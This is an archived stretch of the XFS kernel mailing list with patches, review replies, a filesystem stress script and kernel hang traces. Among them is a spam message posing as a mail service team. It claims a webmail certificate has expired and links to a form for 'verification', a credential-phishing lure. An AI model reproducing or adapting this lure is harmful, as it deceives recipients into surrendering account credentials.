required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B96597F56 for ; Thu, 12 Dec 2013 01:39:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 55E88AC00B for ; Wed, 11 Dec 2013 23:39:08 -0800 (PST) X-ASG-Debug-ID: 1386833947-04bdf013221d0600001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id KwS4JxG6L4ryHzUv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:39:07 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7d6km027217 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:39:06 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7d51T021459 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:39:05 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7d5RE021184 for ; Thu, 12 Dec 2013 07:39:05 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:39:04 -0800 Message-ID: <52A96815.5070005@oracle.com> Date: Thu, 12 Dec 2013 15:39:01 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 8/8] xfs: use xfs_icluster_size_fsb in xfs_imap Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 8/8] xfs: use xfs_icluster_size_fsb in xfs_imap Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833947 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_icluster_size_fsb() in xfs_imap(). Reviewed-by: Dave Chinner Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 492ac88..3c150df 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1377,7 +1377,7 @@ xfs_imap( return XFS_ERROR(EINVAL); } - blks_per_cluster = mp->m_inode_cluster_size >> mp->m_sb.sb_blocklog; + blks_per_cluster = xfs_icluster_size_fsb(mp); /* * For bulkstat and handle lookups, we have an untrusted inode number @@ -1398,7 +1398,7 @@ xfs_imap( * If the inode cluster size is the same as the blocksize or * smaller we get to the buffer by simple arithmetics. */ - if (mp->m_inode_cluster_size <= mp->m_sb.sb_blocksize) { + if (blks_per_cluster == 1) { offset = XFS_INO_TO_OFFSET(mp, ino); ASSERT(offset < mp->m_sb.sb_inopblock); -- 1.8.3.2 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 02:14:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C39D29DF8 for ; Thu, 12 Dec 2013 02:14:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4959D8F8049 for ; Thu, 12 Dec 2013 00:14:10 -0800 (PST) X-ASG-Debug-ID: 1386836047-04cbb041696cb120001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id W7NEWGHWoOMlh5Lr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 00:14:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vr1PD-0001ki-Pl; Thu, 12 Dec 2013 08:13:59 +0000 Date: Thu, 12 Dec 2013 00:13:59 -0800 From: Christoph Hellwig To: "J. Bruce Fields" Cc: Stanislav Kholmanskikh , linux-nfs@vger.kernel.org, vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com Subject: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way Message-ID: <20131212081359.GB2325@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way References: <20131206204747.GB12613@fieldses.org> <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> <52A845C6.2080109@oracle.com> <20131212033859.GA5978@fieldses.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212033859.GA5978@fieldses.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386836048 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Dec 11, 2013 at 10:38:59PM -0500, J. Bruce Fields wrote: > In the v3 case I'd expect the open O_TRUNC to result in a SETATTR rpc, > in the v4 case an OPEN rpc. Both result in a call to nfsd_setattr, > though I only see nfsd_setattr turning off the SUID/SGID bits in the > chown case. Are you sure it isn't the subsequent write that clears > those bits? We've traditionally cleared the suid bits for O_TRUNC for local filesystem, although this is more a convention than a real security need. It would still be good if NFSv4 would follow the general semantics. From Robin.B.Mathis@lowes.com Thu Dec 12 02:49:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, TVD_PH_BODY_ACCOUNTS_PRE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E3C5E7F51 for ; Thu, 12 Dec 2013 02:49:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C15CD8F8049 for ; Thu, 12 Dec 2013 00:49:00 -0800 (PST) X-ASG-Debug-ID: 1386838139-04cbb041666cbed0001-w1Z2WR Received: from relay5.lowes.com (mail5.lowes.com [168.244.164.36]) by cuda.sgi.com with ESMTP id ZwMwR7cSClmBUjH4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 00:48:59 -0800 (PST) X-Barracuda-Envelope-From: Robin.B.Mathis@lowes.com X-Barracuda-Apparent-Source-IP: 168.244.164.36 X-Barracuda-IPDD: Level2 [lowes.com/168.244.164.36] X-AuditID: ac148406-b7fe06d000000ddb-c8-52a97ab36ed5 X-Barracuda-IPDD: Level2 [lowes.com/168.244.164.36] Received: from msex07corpht2.lowes.com (Unknown_Domain [172.26.145.119]) (using TLS with cipher RC4-MD5 (RC4-MD5/128 bits)) (Client did not present a certificate) by relay5.lowes.com (SMTP Banner) with SMTP id BA.F3.03547.3BA79A25; Thu, 12 Dec 2013 03:58:28 -0500 (EST) Received: from MSMSGEX10WPRD04.lowes.com (172.26.122.14) by msex07corpht2.lowes.com (172.26.145.119) with Microsoft SMTP Server (TLS) id 8.3.279.5; Thu, 12 Dec 2013 03:48:41 -0500 Received: from MSMSGEX10WPRD07.lowes.com ([fe80::9c7f:d884:1caa:50bd]) by MSMSGEX10WPRD04.lowes.com ([fe80::f9:a9df:eecd:e9f6%30]) with mapi id 14.03.0123.003; Thu, 12 Dec 2013 03:48:40 -0500 From: "Mathis, Robin - Robin B" Subject: Your Webmail account Certificate expired on the 11th-12-201 Thread-Topic: Your Webmail account Certificate expired on the 11th-12-201 X-ASG-Orig-Subj: Your Webmail account Certificate expired on the 11th-12-201 Thread-Index: Ac73FvNFgGXWNm3CQNOA/UZm6ddFCg== Date: Thu, 12 Dec 2013 08:48:38 +0000 Message-ID: <3AC0EE49AA884C45BCCC871A538EAA5524084624@MSMSGEX10WPRD07.lowes.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [172.20.149.161] Content-Type: multipart/alternative; boundary="_000_3AC0EE49AA884C45BCCC871A538EAA5524084624MSMSGEX10WPRD07_" MIME-Version: 1.0 To: Undisclosed recipients:; X-Brightmail-Tracker: H4sIAAAAAAAAA5WTa0ybZRTHfd5bCwnJK4PtCfHSvGpQtGTloocF5owYX0w2NtyyxA/DWl6h Ulpou+CMiYCMSGEblMu6CuU6zIQ5xibMjHAplw2MFtm4jqGEq9wnt5VxsdAvJH7y+fQ75/z/ 55wneR4x6W4Se4mVar2gVctVHONKVXllJ0pvf3Ut4qCxlIWr90somGk8A8WjOQSMmgYYqKlL o2Gl207BdsYcgvX1FEdhziyCpbJkCiq3MVyoyxFBydMUBDd6LyJo2/iDhC3rR9DxuIOG9rZF GuyT3SLIbdskYLnLG5JtcwRU1o2LoOunYRFk3NpCUPHzMgmpvbMIWjIaESwVpDPQMG4hwXj1 HwSXezCYrt8ioHvSQoDx3ncktF8upWFuOR3Bo7ImAhammklobikjIa29hoC1S2sIZm5Oi8D8 +yMET6vyKOjMM4pgdS7TUbDVMjDfWc9AcWUCmCqKaCjprkAwf3GDgMFsGwNTA6FwvsHCwIPB vxAMGuwM/FpoE8FichsJw4v5DDSaH1DQl9xAwt3qWdGRLJIfHa4n+MLphxT/W/c4zfdk1xJ8 +sg0zRekXqL5uiW7iG/erib4oZVfGN66PUTyC+tGxA+MbJK8pchK8obeeYpvGm+n+L7xVvr4 BvokCQXL1WqNXq4XJFGCThHCHRMSJaFKnUIlV8YJWp1U4ucn+eKs6pzE76DMn5Moo0K4QE4S r5IrhDhBrQ/h5PHxgjqKO+wq+c8JdsiUaomgVmiilOroEC7s43ApQGCQVMYdPhZ+Muz9Dw59 moRj7q2MM/HmfV+Odj6mktAT1oBcxJgNwKvPhign78ddwzcYA3IVu7M5BJ6zGEhnUIfw7e4C 2hm0IDy6sMjsWBj2ELauTe7a97GhOK3/DjIgsdiDDcMP6xKc6IszJzQ7Cop9Dbc299I77MYe x+Vj/btdkGPwWmcVscMkewAPjhURzoVYXF5vI53sif8e3aKdzOG79jbGqdfgJw0pyNnzedxx ZWx3Gw/2BWzKKtrVuDvmToz0EFnIw7xnhHmP3bzH7sz74v68XMbJb+KKkhnSyVJs2rJSe/PF SPQjYrWCSn4u0FelSRR0vgpNXA3a+ZUeqcwdZKv1tiKF4/rZpJenQuP4tWp9pEwWFOAX9Lb/ O0GBsoD/l+YOuC2SP0S4s9GOBxUrCPGCNlJ7ViXorIgQu3gloVP5ujeeNR2JsWZ+H/3WiQKu vNqSbDg65ZL7Z+znEt3sZ6pCD0nhaU2r7GSSwuf8/NcRr7y7LfRtnQm2vu7deVN8IaFv7Dkf N0+T/ttwenXg5Xz7Nc2Hy+vSoKn9L22OXQ+oea8v8vREaVpO3vr9zdilSX/jlVejZHyH9MXW tLgTp2q/4ShdjFzmQ2p18n8Bm0jsc6sEAAA= X-Barracuda-Connect: mail5.lowes.com[168.244.164.36] X-Barracuda-Start-Time: 1386838139 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --_000_3AC0EE49AA884C45BCCC871A538EAA5524084624MSMSGEX10WPRD07_ Content-Type: text/plain; charset="iso-8859-1" content-transfer-encoding: quoted-printable Your Webmail account Certificate expired on the 11th-12-2013, This may inter= rupt your email delivery configuration, and account POP settings, page error when sending message. To re-new your webmail Certificate, Please take a second to update your reco= rds by link below or copy and paste link https://docs.google.com/forms/d/1STkYdGgH-7RsQlE4g3q8NRSj4hIFV8p9jzzv3KumF0w= /viewform account will work as normal after the verification process, and your webmail Certificate will be re-newed. Sincerely, Mail Service Team NOTICE: All information in and attached to the e-mails below may be propriet= ary, confidential, privileged and otherwise protected from improper or erron= eous disclosure. If you are not the sender's intended recipient, you are not= authorized to intercept, read, print, retain, copy, forward, or disseminate= this message. If you have erroneously received this communication, please n= otify the sender immediately by phone (704-758-1000) or by e-mail and destro= y all copies of this message electronic, paper, or otherwise. By transmitting documents via this email: Users, Customers, Suppliers and Ve= ndors collectively acknowledge and agree the transmittal of information via= email is voluntary, is offered as a convenience, and is not a secured metho= d of communication; Not to transmit any payment information E.G. credit card= , debit card, checking account, wire transfer information, passwords, or sen= sitive and personal information E.G. Driver's license, DOB, social security,= or any other information the user wishes to remain confidential; To transmi= t only non-confidential information such as plans, pictures and drawings and= to assume all risk and liability for and indemnify Lowe's from any claims,= losses or damages that may arise from the transmittal of documents or inclu= ding non-confidential information in the body of an email transmittal. Thank= you. --_000_3AC0EE49AA884C45BCCC871A538EAA5524084624MSMSGEX10WPRD07_ Content-Type: text/html; charset="iso-8859-1" content-transfer-encoding: quoted-printable
Your Webmail account Certificate exp= ired on the 11th-12-2013, This may interrupt your email delivery
configuration, and account POP setti= ngs, page error when sending message.
To re-new your webmail Certificate,= Please take a second to update your records by link below or
copy and paste link
https://docs.google.com/forms/d/1STkYdGgH-7RsQ= lE4g3q8NRSj4hIFV8p9jzzv3KumF0w/viewform
account will work as normal after th= e verification process,
and your webmail Certificate will be= re-newed.
Sincerely,
Mail Service Team
NOTICE: All information in and attached to the e-mails below may be propriet= ary, confidential, privileged and otherwise protected from improper or erron= eous disclosure. If you are not the sender's intended recipient, you are not= authorized to intercept, read, print, retain, copy, forward, or disseminate= this message. If you have erroneously received this communication, please n= otify the sender immediately by phone (704-758-1000) or by e-mail and destro= y all copies of this message electronic, paper, or otherwise.

By transmitting documents via this email: Users, Customers, Suppliers and= Vendors collectively acknowledge and agree the transmittal of information v= ia email is voluntary, is offered as a convenience, and is not a secured met= hod of communication; Not to transmit any payment information E.G. credit ca= rd, debit card, checking account, wire transfer information, passwords, or s= ensitive and personal information E.G. Driver's license, DOB, social securit= y, or any other information the user wishes to remain confidential; To trans= mit only non-confidential information such as plans, pictures and drawings a= nd to assume all risk and liability for and indemnify Lowe's from any claims= , losses or damages that may arise from the transmittal of documents or incl= uding non-confidential information in the body of an email transmittal. Than= k you. --_000_3AC0EE49AA884C45BCCC871A538EAA5524084624MSMSGEX10WPRD07_-- From jeff.liu@oracle.com Thu Dec 12 03:30:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3BB6529DF8 for ; Thu, 12 Dec 2013 03:30:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29CA7304077 for ; Thu, 12 Dec 2013 01:30:28 -0800 (PST) X-ASG-Debug-ID: 1386840622-04cb6c537e6c62d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id CEKaHqL3M1UerlWu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 01:30:23 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC9UK79004853 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 09:30:21 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC9UJOH019606 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 09:30:19 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC9UJs8019596; Thu, 12 Dec 2013 09:30:19 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 01:30:18 -0800 Message-ID: <52A98226.4020705@oracle.com> Date: Thu, 12 Dec 2013 17:30:14 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. In-Reply-To: <1386826478-13846-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386840623 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 13:34, Dave Chinner wrote: > From: Dave Chinner > > fsstress failed during a shutdown with the following assert: Looks fsstress is always a good aid to make file system cry... :-P I wonder if here the shutdown is simulated via xfstests/src/godown or not, but I can trigger another hang up issue with this patch via a test case below(80% reproducible, I also ran the test against the left patches in this series, this problem still exists): #!/bin/bash mkfs.xfs -f /dev/sda7 for ((i=0;i<10;i++)) do mount /dev/sda7 /xfs fsstress -d /xfs -n 1000 -p 100 >/dev/null 2>&1 & sleep 10 godown /xfs wait killall -q fsstress umount /xfs done It seems there is no such kind of test cases in xfstestes for now, I'd write one if required. The backtraces were shown as following: [ 365.987493] INFO: task fsstress:3215 blocked for more than 120 seconds. [ 365.987499] Tainted: PF O 3.13.0-rc2+ #13 [ 365.987500] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 365.987502] fsstress D ffff88026f254440 0 3215 3142 0x00000000 [ 365.987507] ffff880253f19de0 0000000000000086 ffff880242071800 ffff880253f19fd8 [ 365.987512] 0000000000014440 0000000000014440 ffff880242071800 ffff880073694c00 [ 365.987515] ffff880073694c80 ffff880073694c90 ffffffffffffffff 0000000000000292 [ 365.987519] Call Trace: [ 365.987528] [] schedule+0x29/0x70 [ 365.987560] [] xlog_cil_force_lsn+0x18d/0x1e0 [xfs] [ 365.987565] [] ? wake_up_state+0x20/0x20 [ 365.987570] [] ? do_fsync+0x80/0x80 [ 365.987594] [] _xfs_log_force+0x61/0x270 [xfs] [ 365.987599] [] ? jbd2_log_wait_commit+0x110/0x180 [ 365.987603] [] ? prepare_to_wait_event+0x100/0x100 [ 365.987607] [] ? do_fsync+0x80/0x80 [ 365.987629] [] xfs_log_force+0x26/0x80 [xfs] [ 365.987648] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] [ 365.987652] [] sync_fs_one_sb+0x20/0x30 [ 365.987656] [] iterate_supers+0xb2/0x110 [ 365.987660] [] sys_sync+0x62/0xa0 [ 365.987665] [] system_call_fastpath+0x1a/0x1f [ 372.225302] XFS (sda7): xfs_log_force: error 5 returned. [ 402.275608] XFS (sda7): xfs_log_force: error 5 returned. [ 432.325929] XFS (sda7): xfs_log_force: error 5 returned. [ 462.376239] XFS (sda7): xfs_log_force: error 5 returned. [ 485.869059] INFO: task fsstress:3215 blocked for more than 120 seconds. [ 485.869065] Tainted: PF O 3.13.0-rc2+ #13 [ 485.869066] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 485.869068] fsstress D ffff88026f254440 0 3215 3142 0x00000000 [ 485.869073] ffff880253f19de0 0000000000000086 ffff880242071800 ffff880253f19fd8 [ 485.869077] 0000000000014440 0000000000014440 ffff880242071800 ffff880073694c00 [ 485.869081] ffff880073694c80 ffff880073694c90 ffffffffffffffff 0000000000000292 [ 485.869085] Call Trace: [ 485.869093] [] schedule+0x29/0x70 [ 485.869123] [] xlog_cil_force_lsn+0x18d/0x1e0 [xfs] [ 485.869129] [] ? wake_up_state+0x20/0x20 [ 485.869135] [] ? do_fsync+0x80/0x80 [ 485.869160] [] _xfs_log_force+0x61/0x270 [xfs] [ 485.869167] [] ? jbd2_log_wait_commit+0x110/0x180 [ 485.869172] [] ? prepare_to_wait_event+0x100/0x100 [ 485.869177] [] ? do_fsync+0x80/0x80 [ 485.869199] [] xfs_log_force+0x26/0x80 [xfs] [ 485.869219] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] [ 485.869224] [] sync_fs_one_sb+0x20/0x30 [ 485.869229] [] iterate_supers+0xb2/0x110 [ 485.869232] [] sys_sync+0x62/0xa0 [ 485.869237] [] system_call_fastpath+0x1a/0x1f [ 492.426514] XFS (sda7): xfs_log_force: error 5 returned. [ 522.476867] XFS (sda7): xfs_log_force: error 5 returned. [ 552.527131] XFS (sda7): xfs_log_force: error 5 returned. [ 582.577433] XFS (sda7): xfs_log_force: error 5 returned. Thanks, -Jeff > > XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 > ..... > xfs_buf_stale+0x3f/0xf0 > xfs_bioerror_relse+0x2d/0x90 > xfsbdstrat+0x51/0xa0 > xfs_zero_remaining_bytes+0x1d1/0x2d0 > xfs_free_file_space+0x5d0/0x600 > xfs_change_file_space+0x251/0x3a0 > xfs_ioc_space+0xcc/0x130 > ..... > > xfs_zero_remaining_bytes() works with uncached buffers, and hence if > we are preventing IO due to a shutdown, we should not be marking it > stale as that is only for cached buffers. Instead, just mark it with > an error and make sure it gets to the caller. > > [ 7732.193441] XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 96 > [ 7732.195036] ------------[ cut here ]------------ > [ 7732.195890] kernel BUG at fs/xfs/xfs_message.c:107! > [ 7732.196018] invalid opcode: 0000 [#1] SMP > [ 7732.196018] Modules linked in: > [ 7732.196018] CPU: 0 PID: 2899 Comm: fsstress Not tainted 3.12.0-rc7-dgc+ #47 > [ 7732.196018] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > [ 7732.196018] task: ffff88003a83ada0 ti: ffff88002c0ae000 task.ti: ffff88002c0ae000 > [ 7732.196018] RIP: 0010:[] [] assfail+0x22/0x30 > [ 7732.196018] RSP: 0000:ffff88002c0afae8 EFLAGS: 00010292 > [ 7732.196018] RAX: 000000000000004d RBX: ffff880002e59600 RCX: 0000000000000000 > [ 7732.196018] RDX: ffff88003fc0ed68 RSI: ffff88003fc0d3f8 RDI: 0000000000000246 > [ 7732.196018] RBP: ffff88002c0afae8 R08: 0000000000000096 R09: 00000000000012ec > [ 7732.196018] R10: 0000000000000000 R11: 00000000000012eb R12: 0000000000100002 > [ 7732.196018] R13: ffffffff81473523 R14: 0000000000009fff R15: 0000000000009fff > [ 7732.196018] FS: 00007f8017e4a700(0000) GS:ffff88003fc00000(0000) knlGS:0000000000000000 > [ 7732.196018] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b > [ 7732.196018] CR2: 00007ff8d020a000 CR3: 0000000009b43000 CR4: 00000000000006f0 > [ 7732.196018] Stack: > [ 7732.196018] ffff88002c0afb08 ffffffff8147476e ffff880002e59600 0000000000100002 > [ 7732.196018] ffff88002c0afb28 ffffffff814762cd ffff880002e59600 ffff880002e59600 > [ 7732.196018] ffff88002c0afb58 ffffffff81476841 0000000000009f89 ffff880002e59600 > [ 7732.196018] Call Trace: > [ 7732.196018] [] xfs_buf_stale+0x2e/0xb0 > [ 7732.196018] [] xfs_bioerror_relse+0x2d/0x90 > [ 7732.196018] [] xfsbdstrat+0x51/0x90 > [ 7732.196018] [] xfs_zero_remaining_bytes+0x1d3/0x2d0 > [ 7732.196018] [] xfs_free_file_space+0x586/0x5b0 > [ 7732.196018] [] ? slabs_cpu_partial_show+0xd2/0x120 > [ 7732.196018] [] ? mntput_no_expire+0x49/0x160 > [ 7732.196018] [] ? mnt_clone_write+0x12/0x30 > [ 7732.196018] [] ? down_write+0x16/0x40 > [ 7732.196018] [] xfs_ioc_space+0x2d4/0x450 > [ 7732.196018] [] ? path_lookupat+0x6b/0x760 > [ 7732.196018] [] ? xfs_trans_free+0x6e/0x80 > [ 7732.196018] [] ? kmem_cache_alloc+0x31/0x150 > [ 7732.196018] [] xfs_file_ioctl+0x48b/0xae0 > [ 7732.196018] [] ? final_putname+0x26/0x50 > [ 7732.196018] [] ? from_kgid+0x12/0x20 > [ 7732.196018] [] ? from_kgid_munged+0xe/0x20 > [ 7732.196018] [] ? cp_new_stat+0x146/0x160 > [ 7732.196018] [] do_vfs_ioctl+0x452/0x530 > [ 7732.196018] [] ? SYSC_newfstat+0x25/0x30 > [ 7732.196018] [] SyS_ioctl+0x91/0xb0 > [ 7732.196018] [] system_call_fastpath+0x16/0x1b > > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_buf.c | 47 ++++++++++++++++++++++++++++------------------- > 1 file changed, 28 insertions(+), 19 deletions(-) > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index ce01c1a..27dc152 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1076,7 +1076,14 @@ xfs_bioerror( > */ > XFS_BUF_UNREAD(bp); > XFS_BUF_UNDONE(bp); > - xfs_buf_stale(bp); > + > + /* > + * we might be handling an uncached buffer here, in which case the > + * stale buffer handling is irrelevant as is doing IO with the buffer > + * locked. Hence we don't mark them stale. > + */ > + if (bp->b_pag) > + xfs_buf_stale(bp); > > xfs_buf_ioend(bp, 0); > > @@ -1094,25 +1101,20 @@ xfs_bioerror_relse( > struct xfs_buf *bp) > { > int64_t fl = bp->b_flags; > + > /* > - * No need to wait until the buffer is unpinned. > - * We aren't flushing it. > - * > - * chunkhold expects B_DONE to be set, whether > - * we actually finish the I/O or not. We don't want to > - * change that interface. > + * No need to wait until the buffer is unpinned. We aren't flushing it. > */ > XFS_BUF_UNREAD(bp); > XFS_BUF_DONE(bp); > xfs_buf_stale(bp); > bp->b_iodone = NULL; > + > + /* > + * There's no reason to mark error for ASYNC buffers as there is no-one > + * waiting to collect the error. > + */ > if (!(fl & XBF_ASYNC)) { > - /* > - * Mark b_error and B_ERROR _both_. > - * Lot's of chunkcache code assumes that. > - * There's no reason to mark error for > - * 